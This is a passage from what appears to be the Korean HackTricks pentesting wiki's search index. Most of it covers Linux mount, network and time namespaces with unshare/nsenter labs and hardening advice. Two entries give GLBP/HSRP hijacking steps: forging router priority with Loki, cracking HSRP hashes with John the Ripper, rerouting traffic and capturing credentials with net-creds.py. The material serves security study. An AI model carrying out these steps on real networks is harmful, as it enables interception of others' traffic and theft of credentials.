Mechanism"},"1700":{"body":"CLI bash sudo unshare -m [--mount-proc] /bin/bash 새로운 인스턴스의 /proc 파일 시스템을 마운트하면 --mount-proc 매개변수를 사용하여 새로운 마운트 네임스페이스가 해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰 를 갖도록 보장합니다. 오류: bash: fork: 메모리를 할당할 수 없습니다 unshare가 -f 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: 문제 설명 : Linux 커널은 프로세스가 unshare 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 \\"unshare\\" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. %unshare -p /bin/bash%를 실행하면 /bin/bash가 unshare와 동일한 프로세스에서 시작됩니다. 결과적으로 /bin/bash와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. 새로운 네임스페이스에서 /bin/bash의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. 결과 : 새로운 네임스페이스에서 PID 1의 종료는 PIDNS_HASH_ADDING 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 alloc_pid 함수가 새로운 PID를 할당하지 못하게 되어 \\"메모리를 할당할 수 없습니다\\" 오류가 발생합니다. 해결책 : 이 문제는 unshare와 함께 -f 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 unshare가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. %unshare -fp /bin/bash%를 실행하면 unshare 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. /bin/bash와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. unshare가 -f 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, /bin/bash와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다. Docker bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » Create different Namespaces","id":"1700","title":"Create different Namespaces"},"1701":{"body":"bash ls -l /proc/self/ns/mnt\\nlrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> \'mnt:[4026531841]\'","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » 프로세스가 있는 네임스페이스 확인하기","id":"1701","title":"프로세스가 있는 네임스페이스 확인하기"},"1702":{"body":"bash sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \\\\; 2>/dev/null | sort -u\\n# Find the processes with an specific namespace\\nsudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \\\\; 2>/dev/null | grep bash findmnt","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » 모든 마운트 네임스페이스 찾기","id":"1702","title":"모든 마운트 네임스페이스 찾기"},"1703":{"body":"bash nsenter -m TARGET_PID --pid /bin/bash 또한, 루트 사용자만 다른 프로세스 네임스페이스에 들어갈 수 있습니다 . 그리고 디스크립터 가 없으면 다른 네임스페이스에 들어갈 수 없습니다 (예: /proc/self/ns/mnt). 새로운 마운트는 네임스페이스 내에서만 접근할 수 있기 때문에, 네임스페이스가 그 안에서만 접근할 수 있는 민감한 정보를 포함할 가능성이 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » Mount 네임스페이스 내부로 들어가기","id":"1703","title":"Mount 네임스페이스 내부로 들어가기"},"1704":{"body":"bash # Generate new mount ns\\nunshare -m /bin/bash\\nmkdir /tmp/mount_ns_example\\nmount -t tmpfs tmpfs /tmp/mount_ns_example\\nmount | grep tmpfs # \\"tmpfs on /tmp/mount_ns_example\\"\\necho test > /tmp/mount_ns_example/test\\nls /tmp/mount_ns_example/test # Exists # From the host\\nmount | grep tmpfs # Cannot see \\"tmpfs on /tmp/mount_ns_example\\"\\nls /tmp/mount_ns_example/test # Doesn\'t exist # findmnt # List existing mounts\\nTARGET SOURCE FSTYPE OPTIONS\\n/ /dev/mapper/web05--vg-root # unshare --mount # run a shell in a new mount namespace\\n# mount --bind /usr/bin/ /mnt/\\n# ls /mnt/cp\\n/mnt/cp\\n# exit # exit the shell, and hence the mount namespace\\n# ls /mnt/cp\\nls: cannot access \'/mnt/cp\': No such file or directory ## Notice there\'s different files in /tmp\\n# ls /tmp\\nrevshell.elf # ls /mnt/tmp\\nkrb5cc_75401103_X5yEyy\\nsystemd-private-3d87c249e8a84451994ad692609cd4b6-apache2.service-77w9dT\\nsystemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-resolved.service-RnMUhT\\nsystemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDql\\nvmware-root_662-2689143848","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » 무언가 마운트하기","id":"1704","title":"무언가 마운트하기"},"1705":{"body":"https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Mount Namespace » References","id":"1705","title":"References"},"1706":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Network Namespace » Network Namespace","id":"1706","title":"Network Namespace"},"1707":{"body":"네트워크 네임스페이스는 네트워크 스택의 격리를 제공하는 리눅스 커널 기능으로, 각 네트워크 네임스페이스가 독립적인 네트워크 구성 , 인터페이스, IP 주소, 라우팅 테이블 및 방화벽 규칙을 가질 수 있도록 합니다. 이 격리는 컨테이너화와 같은 다양한 시나리오에서 유용하며, 각 컨테이너는 다른 컨테이너 및 호스트 시스템과 독립적인 네트워크 구성을 가져야 합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Network Namespace » Basic Information","id":"1707","title":"Basic Information"},"1708":{"body":"새로운 네트워크 네임스페이스가 생성되면, 완전히 격리된 네트워크 스택 으로 시작하며, 루프백 인터페이스(lo) 외에는 네트워크 인터페이스가 없습니다 . 이는 새로운 네트워크 네임스페이스에서 실행되는 프로세스가 기본적으로 다른 네임스페이스나 호스트 시스템의 프로세스와 통신할 수 없음을 의미합니다. veth 쌍과 같은 가상 네트워크 인터페이스 를 생성하고 네트워크 네임스페이스 간에 이동할 수 있습니다. 이를 통해 네임스페이스 간 또는 네임스페이스와 호스트 시스템 간의 네트워크 연결을 설정할 수 있습니다. 예를 들어, veth 쌍의 한 쪽 끝을 컨테이너의 네트워크 네임스페이스에 배치하고, 다른 쪽 끝을 호스트 네임스페이스의 브리지 또는 다른 네트워크 인터페이스에 연결하여 컨테이너에 네트워크 연결을 제공합니다. 네임스페이스 내의 네트워크 인터페이스는 다른 네임스페이스와 독립적으로 자신의 IP 주소, 라우팅 테이블 및 방화벽 규칙 을 가질 수 있습니다. 이를 통해 서로 다른 네트워크 네임스페이스의 프로세스가 서로 다른 네트워크 구성을 가질 수 있으며, 마치 별도의 네트워크 시스템에서 실행되는 것처럼 작동할 수 있습니다. 프로세스는 setns() 시스템 호출을 사용하여 네임스페이스 간에 이동하거나, unshare() 또는 clone() 시스템 호출을 사용하여 CLONE_NEWNET 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 네트워크 구성 및 인터페이스를 사용하기 시작합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Network Namespace » How it works:","id":"1708","title":"How it works:"},"1709":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Network Namespace » Lab:","id":"1709","title":"Lab:"},"171":{"body":"Loki 는 우선 순위와 가중치를 255로 설정한 패킷을 주입하여 GLBP 공격을 수행할 수 있습니다. 공격 전 단계에는 가상 IP 주소, 인증 존재 여부 및 라우터 우선 순위 값을 Wireshark와 같은 도구를 사용하여 수집하는 것이 포함됩니다. Attack Steps: 프로미스큐어스 모드로 전환하고 IP 포워딩을 활성화합니다. 대상 라우터를 식별하고 IP를 검색합니다. Gratuitous ARP를 생성합니다. AVG를 가장하여 악성 GLBP 패킷을 주입합니다. 공격자의 네트워크 인터페이스에 GLBP 가상 IP를 미러링하여 보조 IP 주소를 할당합니다. 전체 트래픽 가시성을 위해 SNAT를 구현합니다. 원래 AVG 라우터를 통해 계속 인터넷에 접근할 수 있도록 라우팅을 조정합니다. 이 단계를 따르면 공격자는 \\"중간자\\"로 자리 잡아 네트워크 트래픽을 가로채고 분석할 수 있으며, 여기에는 암호화되지 않은 민감한 데이터가 포함됩니다. For demonstration, here are the required command snippets: bash # Enable promiscuous mode and IP forwarding\\nsudo ip link set eth0 promisc on\\nsudo sysctl -w net.ipv4.ip_forward=1 # Configure secondary IP and SNAT\\nsudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0\\nsudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # Adjust routing\\nsudo route del default\\nsudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 모니터링 및 트래픽 가로채기는 net-creds.py 또는 유사한 도구를 사용하여 손상된 네트워크를 통해 흐르는 데이터를 캡처하고 분석할 수 있습니다.","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » Executing a GLBP Attack with Loki","id":"171","title":"Executing a GLBP Attack with Loki"},"1710":{"body":"CLI bash sudo unshare -n [--mount-proc] /bin/bash\\n# Run ifconfig or ip -a /proc 파일 시스템의 새 인스턴스를 마운트하면 --mount-proc 매개변수를 사용하여 새 마운트 네임스페이스가 해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰 를 갖도록 보장합니다. 오류: bash: fork: 메모리를 할당할 수 없습니다 unshare가 -f 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: 문제 설명 : Linux 커널은 프로세스가 unshare 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 \\"unshare\\" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. %unshare -p /bin/bash%를 실행하면 unshare와 동일한 프로세스에서 /bin/bash가 시작됩니다. 결과적으로 /bin/bash와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. 새로운 네임스페이스에서 /bin/bash의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. 결과 : 새로운 네임스페이스에서 PID 1의 종료는 PIDNS_HASH_ADDING 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 alloc_pid 함수가 새로운 PID를 할당하지 못하게 되어 \\"메모리를 할당할 수 없습니다\\" 오류가 발생합니다. 해결책 : 이 문제는 unshare와 함께 -f 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 unshare가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. %unshare -fp /bin/bash%를 실행하면 unshare 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 /bin/bash와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. unshare가 -f 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, /bin/bash와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다. Docker bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash\\n# Run ifconfig or ip -a","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Network Namespace » Create different Namespaces","id":"1710","title":"Create different Namespaces"},"1711":{"body":"bash ls -l /proc/self/ns/net\\nlrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> \'net:[4026531840]\'","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Network Namespace » 프로세스가 어떤 네임스페이스에 있는지 확인하기","id":"1711","title":"프로세스가 어떤 네임스페이스에 있는지 확인하기"},"1712":{"body":"bash sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \\\\; 2>/dev/null | sort -u | grep \\"net:\\"\\n# Find the processes with an specific namespace\\nsudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \\\\; 2>/dev/null | grep ","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Network Namespace » 모든 네트워크 네임스페이스 찾기","id":"1712","title":"모든 네트워크 네임스페이스 찾기"},"1713":{"body":"bash nsenter -n TARGET_PID --pid /bin/bash 또한, 루트 사용자만 다른 프로세스 네임스페이스에 들어갈 수 있습니다 . 그리고 디스크립터 없이 다른 네임스페이스에 들어갈 수 없습니다 (예: /proc/self/ns/net).","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Network Namespace » 네트워크 네임스페이스 내부로 들어가기","id":"1713","title":"네트워크 네임스페이스 내부로 들어가기"},"1714":{"body":"https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Network Namespace » References","id":"1714","title":"References"},"1715":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » Time Namespace","id":"1715","title":"Time Namespace"},"1716":{"body":"Linux의 시간 네임스페이스는 시스템 단조 및 부팅 시간 시계에 대한 네임스페이스별 오프셋을 허용합니다. 이는 Linux 컨테이너에서 컨테이너 내의 날짜/시간을 변경하고 체크포인트 또는 스냅샷에서 복원한 후 시계를 조정하는 데 일반적으로 사용됩니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » Basic Information","id":"1716","title":"Basic Information"},"1717":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » Lab:","id":"1717","title":"Lab:"},"1718":{"body":"CLI bash sudo unshare -T [--mount-proc] /bin/bash 새로운 /proc 파일 시스템 인스턴스를 마운트하면 --mount-proc 매개변수를 사용하여 새로운 마운트 네임스페이스가 해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록 보장합니다. 오류: bash: fork: 메모리를 할당할 수 없습니다 unshare가 -f 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: 문제 설명 : Linux 커널은 프로세스가 unshare 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 \\"unshare\\" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. %unshare -p /bin/bash%를 실행하면 /bin/bash가 unshare와 동일한 프로세스에서 시작됩니다. 결과적으로 /bin/bash와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. 새로운 네임스페이스에서 /bin/bash의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. 결과 : 새로운 네임스페이스에서 PID 1의 종료는 PIDNS_HASH_ADDING 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 alloc_pid 함수가 새로운 PID를 할당하는 데 실패하여 \\"메모리를 할당할 수 없습니다\\" 오류가 발생합니다. 해결책 : 이 문제는 unshare와 함께 -f 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 unshare가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. %unshare -fp /bin/bash%를 실행하면 unshare 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. /bin/bash와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. unshare가 -f 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, /bin/bash와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다. Docker bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » Create different Namespaces","id":"1718","title":"Create different Namespaces"},"1719":{"body":"bash ls -l /proc/self/ns/time\\nlrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> \'time:[4026531834]\'","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » 프로세스가 어떤 네임스페이스에 있는지 확인하기","id":"1719","title":"프로세스가 어떤 네임스페이스에 있는지 확인하기"},"172":{"body":"HSRP(핫 스탠바이 라우터/중복 프로토콜) 개요 HSRP는 네트워크 게이트웨이 중복을 위해 설계된 Cisco의 독점 프로토콜입니다. 여러 물리적 라우터를 단일 논리 단위로 구성하고 공유 IP 주소를 사용할 수 있습니다. 이 논리 단위는 트래픽을 관리하는 기본 라우터에 의해 관리됩니다. GLBP와 달리 HSRP는 트래픽 관리를 위해 단일 활성 라우터에 의존합니다. HSRP의 역할 및 용어 HSRP 활성 라우터 : 트래픽 흐름을 관리하는 게이트웨이 역할을 하는 장치입니다. HSRP 대기 라우터 : 활성 라우터가 실패할 경우 인계할 준비가 된 백업 라우터입니다. HSRP 그룹 : 단일 탄력적인 가상 라우터를 형성하기 위해 협력하는 라우터 집합입니다. HSRP MAC 주소 : HSRP 설정에서 논리 라우터에 할당된 가상 MAC 주소입니다. HSRP 가상 IP 주소 : 연결된 장치의 기본 게이트웨이 역할을 하는 HSRP 그룹의 가상 IP 주소입니다. HSRP 버전 HSRP는 HSRPv1과 HSRPv2의 두 가지 버전이 있으며, 주로 그룹 용량, 멀티캐스트 IP 사용 및 가상 MAC 주소 구조에서 차이가 있습니다. 이 프로토콜은 서비스 정보 교환을 위해 특정 멀티캐스트 IP 주소를 사용하며, Hello 패킷은 매 3초마다 전송됩니다. 10초 간 패킷이 수신되지 않으면 라우터는 비활성으로 간주됩니다. HSRP 공격 메커니즘 HSRP 공격은 최대 우선 순위 값을 주입하여 활성 라우터의 역할을 강제로 인수하는 것입니다. 이는 중간자 공격(MITM)으로 이어질 수 있습니다. 공격 전 필수 단계에는 HSRP 설정에 대한 데이터 수집이 포함되며, 이는 Wireshark를 사용하여 트래픽 분석을 통해 수행할 수 있습니다. HSRP 인증 우회 단계 HSRP 데이터가 포함된 네트워크 트래픽을 .pcap 파일로 저장합니다. shell tcpdump -w hsrp_traffic.pcap hsrp2john.py를 사용하여 .pcap 파일에서 MD5 해시를 추출합니다. shell python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes John the Ripper를 사용하여 MD5 해시를 크랙합니다. shell john --wordlist=mywordlist.txt hsrp_hashes Loki를 사용한 HSRP 주입 실행 Loki를 실행하여 HSRP 광고를 식별합니다. 네트워크 인터페이스를 프로미스큐어스 모드로 설정하고 IP 포워딩을 활성화합니다. shell sudo ip link set eth0 promisc on\\nsudo sysctl -w net.ipv4.ip_forward=1 Loki를 사용하여 특정 라우터를 타겟으로 하고, 크랙된 HSRP 비밀번호를 입력한 후 활성 라우터를 가장하기 위한 필요한 구성을 수행합니다. 활성 라우터 역할을 얻은 후, 네트워크 인터페이스 및 IP 테이블을 구성하여 합법적인 트래픽을 가로챕니다. shell sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0\\nsudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 라우팅 테이블을 수정하여 트래픽을 이전 활성 라우터를 통해 라우팅합니다. shell sudo route del default\\nsudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 net-creds.py 또는 유사한 유틸리티를 사용하여 가로챈 트래픽에서 자격 증명을 캡처합니다. shell sudo python2 net-creds.py -i eth0 이 단계를 실행하면 공격자는 GLBP 하이재킹 절차와 유사하게 트래픽을 가로채고 조작할 수 있는 위치에 놓이게 됩니다. 이는 HSRP와 같은 중복 프로토콜의 취약성을 강조하며 강력한 보안 조치의 필요성을 나타냅니다.","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » HSRP 하이재킹의 수동 설명 및 명령 세부정보","id":"172","title":"HSRP 하이재킹의 수동 설명 및 명령 세부정보"},"1720":{"body":"bash sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \\\\; 2>/dev/null | sort -u\\n# Find the processes with an specific namespace\\nsudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \\\\; 2>/dev/null | grep ","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » 모든 시간 네임스페이스 찾기","id":"1720","title":"모든 시간 네임스페이스 찾기"},"1721":{"body":"bash nsenter -T TARGET_PID --pid /bin/bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » Time 네임스페이스에 들어가기","id":"1721","title":"Time 네임스페이스에 들어가기"},"1722":{"body":"Linux 5.6부터, 두 개의 시계를 시간 네임스페이스별로 가상화할 수 있습니다: CLOCK_MONOTONIC CLOCK_BOOTTIME 그들의 네임스페이스별 델타는 /proc//timens_offsets 파일을 통해 노출되며 (수정할 수 있음): $ sudo unshare -Tr --mount-proc bash # -T creates a new timens, -r drops capabilities\\n$ cat /proc/$$/timens_offsets\\nmonotonic 0\\nboottime 0 파일에는 나노초 단위의 오프셋이 있는 시계당 한 줄이 포함되어 있습니다. CAP_SYS_TIME _시간 네임스페이스_를 보유한 프로세스는 값을 변경할 수 있습니다: # advance CLOCK_MONOTONIC by two days (172 800 s)\\necho \\"monotonic 172800000000000\\" > /proc/$$/timens_offsets\\n# verify\\n$ cat /proc/$$/uptime # first column uses CLOCK_MONOTONIC\\n172801.37 13.57 벽시계(CLOCK_REALTIME)도 변경해야 하는 경우 여전히 고전적인 메커니즘(date, hwclock, chronyd, …)에 의존해야 합니다; 이는 네임스페이스화 되지 않습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » 시간 오프셋 조작","id":"1722","title":"시간 오프셋 조작"},"1723":{"body":"sudo unshare -T \\\\\\n--monotonic=\\"+24h\\" \\\\\\n--boottime=\\"+7d\\" \\\\\\n--mount-proc \\\\\\nbash 긴 옵션은 네임스페이스가 생성된 직후 선택한 델타를 timens_offsets에 자동으로 기록하여 수동 echo를 저장합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » unshare(1) 헬퍼 플래그 (util-linux ≥ 2.38)","id":"1723","title":"unshare(1) 헬퍼 플래그 (util-linux ≥ 2.38)"},"1724":{"body":"OCI 런타임 사양 v1.1 (2023년 11월)은 컨테이너 엔진이 휴대 가능한 방식으로 시간 가상화를 요청할 수 있도록 전용 time 네임스페이스 유형과 linux.timeOffsets 필드를 추가했습니다. runc >= 1.2.0 은 사양의 해당 부분을 구현합니다. 최소한의 config.json 조각은 다음과 같습니다: json {\\n\\"linux\\": {\\n\\"namespaces\\": [\\n{\\"type\\": \\"time\\"}\\n],\\n\\"timeOffsets\\": {\\n\\"monotonic\\": 86400,\\n\\"boottime\\": 600\\n}\\n}\\n} 그런 다음 runc run 로 컨테이너를 실행합니다. 주의: runc 1.2.6 (2025년 2월)은 \\"개인 timens로 컨테이너에 exec\\" 버그를 수정하여 정지 및 잠재적인 DoS를 초래할 수 있습니다. 프로덕션에서 ≥ 1.2.6을 사용하고 있는지 확인하십시오.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » OCI 및 런타임 지원","id":"1724","title":"OCI 및 런타임 지원"},"1725":{"body":"필수 권한 – 프로세스는 오프셋을 변경하기 위해 사용자/시간 네임스페이스 내에서 CAP_SYS_TIME 이 필요합니다. 컨테이너에서 해당 권한을 제거하면 (Docker 및 Kubernetes의 기본값) 변조를 방지할 수 있습니다. 벽시계 변경 없음 – CLOCK_REALTIME이 호스트와 공유되기 때문에 공격자는 timens만으로 인증서 수명, JWT 만료 등을 스푸핑할 수 없습니다. 로그/탐지 회피 – CLOCK_MONOTONIC에 의존하는 소프트웨어(예: 가동 시간 기반의 속도 제한기)는 네임스페이스 사용자가 오프셋을 조정하면 혼란스러워질 수 있습니다. 보안 관련 타임스탬프에는 CLOCK_REALTIME을 선호하십시오. 커널 공격 표면 – CAP_SYS_TIME이 제거되더라도 커널 코드는 여전히 접근 가능하므로 호스트를 패치 상태로 유지하십시오. Linux 5.6 → 5.12는 여러 timens 버그 수정(NULl-deref, 부호 문제)을 받았습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » 보안 고려사항","id":"1725","title":"보안 고려사항"},"1726":{"body":"컨테이너 런타임 기본 프로필에서 CAP_SYS_TIME을 제거하십시오. 런타임을 업데이트 상태로 유지하십시오 (runc ≥ 1.2.6, crun ≥ 1.12). --monotonic/--boottime 도우미에 의존하는 경우 util-linux ≥ 2.38을 고정하십시오. 보안에 중요한 논리를 위해 uptime 또는 CLOCK_MONOTONIC 을 읽는 컨테이너 내 소프트웨어를 감사하십시오.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » 강화 체크리스트","id":"1726","title":"강화 체크리스트"},"1727":{"body":"man7.org – 시간 네임스페이스 매뉴얼 페이지: https://man7.org/linux/man-pages/man7/time_namespaces.7.html OCI 블로그 – \\"OCI v1.1: 새로운 시간 및 RDT 네임스페이스\\" (2023년 11월 15일): https://opencontainers.org/blog/2023/11/15/oci-spec-v1.1 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » Time Namespace » 참조","id":"1727","title":"참조"},"1728":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. 